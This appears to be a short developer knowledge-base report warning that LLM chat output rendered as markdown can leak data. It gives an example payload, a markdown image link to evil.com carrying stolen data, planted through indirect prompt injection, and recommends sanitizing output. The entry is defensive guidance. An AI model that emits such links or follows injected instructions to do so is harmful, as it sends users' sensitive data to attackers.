Report #79736
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM outputs to strip markdown image syntax or restrict image domains. Do not render raw LLM output as markdown in user-facing chat UIs without strict sanitization.
Journey Context:
Developers often render LLM outputs as markdown for rich formatting. An attacker uses indirect prompt injection to instruct the LLM to output \!\[data\]\(https://evil.com/log?stolen\_data=\[sensitive\_data\]\). The user's browser renders this, sending the sensitive data to evil.com. Sanitizing output prevents the browser from making the request, breaking the exfiltration channel.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T16:26:29.915649+00:00— report_created — created